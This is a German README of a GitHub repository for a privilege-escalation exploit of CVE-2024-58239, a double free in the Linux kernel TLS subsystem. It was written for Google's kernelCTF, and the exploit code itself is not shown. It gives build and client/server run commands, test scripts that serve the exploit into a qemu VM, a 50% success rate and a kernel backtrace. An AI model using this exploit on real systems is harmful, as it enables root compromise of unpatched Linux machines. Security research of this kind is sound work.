khoatran107/cve-2024-58239Linux-Kernel-TLS-Subsystem-Exploit für CVE-2024-58239, der eine Privilegieneskalation durch eine Double-Free-Schwachstelle in tcp_rcv_state_process ermöglicht. Enthält Client-Server-Architektur und lokale Testskripte.
Dies ist mein erster 1-Day-Exploit.
Patch: tls: stop recv() if initial process_rx_list gave us non-DATA
Ich habe exp407 auf dem kernelCTF-Spreadsheet gesehen und versucht, den Exploit zu reproduzieren.
Ich habe es geschafft, den Exploit in der kernelCTF-Umgebung auszuführen und die Flagge zu erhalten:
Ich werde später einen detaillierten Write-up dazu schreiben.
Das Log des Exploits ist etwas lang, aufgrund einer kernel WARNING in der Mitte. Allerdings ist eine Warnung kein Fehler und tötet meinen Exploit nicht ;)
Ich habe viele große Dateien aus diesem Ordner entfernt.
./rootfs_v3.img./ramdisk_v1.img./releases/mitigation-v4-6.6/bzImage./releases/mitigation-v4-6.6/vmlinuxDie ersten 3 Dateien erhältst du durch Ausführen des original local_runner.sh
Für die vierte Datei und den Quellcode kannst du dich mit dem kernelCTF-Server verbinden und Links zum Herunterladen erhalten.
Aber der Einfachheit halber hier die Informationen der mitigation-v4-6.6-Instanz:
Kernel image (bzImage): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/bzImage
Kernel image (vmlinux): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/vmlinux.gz
Kernel config: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/.config
-> abgeleitet von COS config: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/lakitu_defconfig
Source code info: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/COMMIT_INFO
Außerdem die Befehle zum Herunterladen der .img-Dateien:
wget https://storage.googleapis.com/kernelctf-build/files/rootfs_v3.img.gz
gzip -d rootfs_v3.img.gz
wget https://storage.googleapis.com/kernelctf-build/files/ramdisk_v1.img
cd ./exploit/mitigation-v4-6.6/
make
Dieser Exploit ist in 2 Teile aufgeteilt:
Server:
./server --port <port>
Client:
./client --ip <server_ip> --port <port>
Ich habe 2 Skripte geschrieben, um den Exploit lokal zu testen:
Dieses startet den Server im Hintergrund und führt dann den Client in der qemu-VM aus.
Gehe zuerst zu exploit/mitigation-v4-6.6 und starte einen http-Server auf Port 3000, um den Exploit später zur qemu-VM herunterzuladen:
cd exploit/mitigation-v4-6.6
python3 -m http.server 3000
Dann starte das Skript in einem anderen Terminal:
python3 test.py <deine_ip> <port>
<deine_ip> ist die IP deiner Netzwerkkarte. Für mich, da ich das Ganze in WSL laufen lasse, führe ich ip a aus und erhalte die IP des eth0-Interfaces: 172.30.248.93➜ CVE-2024-58239 git:(main) ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet 10.255.255.254/32 brd 10.255.255.254 scope global lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:22:a0:d1 brd ff:ff:ff:ff:ff:ff
inet 172.30.248.93/20 brd 172.30.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe22:a0d1/64 scope link
valid_lft forever preferred_lft forever
<port> ist ein beliebiger ungenutzter Port auf deinem lokalen Rechner. Er dient der TLS-Verbindung zwischen Client und Server.Dieses führt den Exploit mehrmals aus und misst die Erfolgsquote.
Wie bei der Verwendung von test.py gehst du zu exploit/mitigation-v4-6.6 und startest einen http-Server auf Port 3000, um den Exploit später zur qemu-VM herunterzuladen:
cd exploit/mitigation-v4-6.6
python3 -m http.server 3000
python3 calc_AC_rate.py <deine_ip> <port> <anzahl_der_ausführungen>
Zum Beispiel führe ich es auf meinem WSL als python3 calc_AC_rate.py 172.30.248.93 1118 100 aus.
Ich arbeite noch an der Erfolgsquote, da sie derzeit etwas instabil ist.
Ich habe calc_AC_rate.py ausgeführt, um den Exploit 100 Mal zu testen, und das Ergebnis war 50/100.
Bei den fehlgeschlagenen Versuchen liegt es an common_interrupt, das in der Mitte auftaucht und eine naive Double-Free-Erkennung im Kernel-Slab auslöst, wie in diesem Backtrace zu sehen.
Ich werde einen Weg finden, dies zu deaktivieren.
[ 4.050330] ? die+0x32/0x80
[ 4.050809] ? do_trap+0xd6/0x100
[ 4.051365] ? __slab_free+0x16c/0x380
[ 4.052198] ? do_error_trap+0x6a/0x90
[ 4.052767] ? __slab_free+0x16c/0x380
[ 4.053350] ? exc_invalid_op+0x4c/0x60
[ 4.053916] ? __slab_free+0x16c/0x380
[ 4.055031] ? asm_exc_invalid_op+0x16/0x20
[ 4.055675] ? tcp_rcv_state_process+0x791/0xef0
[ 4.056527] ? __slab_free+0x16c/0x380
[ 4.057097] ? lock_timer_base+0x61/0x80
[ 4.057795] ? tcp_get_metrics+0x142/0x380
[ 4.058560] ? tcp_rcv_state_process+0x791/0xef0
[ 4.059265] kmem_cache_free+0x599/0x5e0
[ 4.059915] tcp_rcv_state_process+0x791/0xef0
[ 4.060918] ? security_sock_rcv_skb+0x31/0x50
[ 4.061857] ? sk_filter_trim_cap+0x11a/0x290
[ 4.062558] tcp_v4_do_rcv+0xcd/0x280
[ 4.063281] tcp_v4_rcv+0xf81/0x1010
[ 4.063832] ? raw_local_deliver+0xcd/0x250
[ 4.064668] ip_protocol_deliver_rcu+0x32/0x320
[ 4.065355] ip_local_deliver_finish+0x7a/0xa0
[ 4.066455] ip_sublist_rcv_finish+0x7e/0x90
[ 4.067231] ip_sublist_rcv+0x1e1/0x220
[ 4.067919] ? __netif_receive_skb_core.constprop.0+0xbf/0x1080
[ 4.068822] ip_list_rcv+0x139/0x170
[ 4.069362] __netif_receive_skb_list_core+0x29d/0x2c0
[ 4.070173] ? __pfx_csum_block_add_ext+0x10/0x10
[ 4.071054] netif_receive_skb_list_internal+0x1e1/0x310
[ 4.072068] napi_complete_done+0x6e/0x1a0
[ 4.072752] virtnet_poll+0x40d/0x5a0
[ 4.073313] __napi_poll+0x28/0x1c0
[ 4.073854] net_rx_action+0x14c/0x2d0
[ 4.074622] ? vp_vring_interrupt+0x73/0x90
[ 4.075746] __do_softirq+0xf6/0x30f
[ 4.076379] __irq_exit_rcu+0x79/0xc0
[ 4.077356] common_interrupt+0xb9/0xd0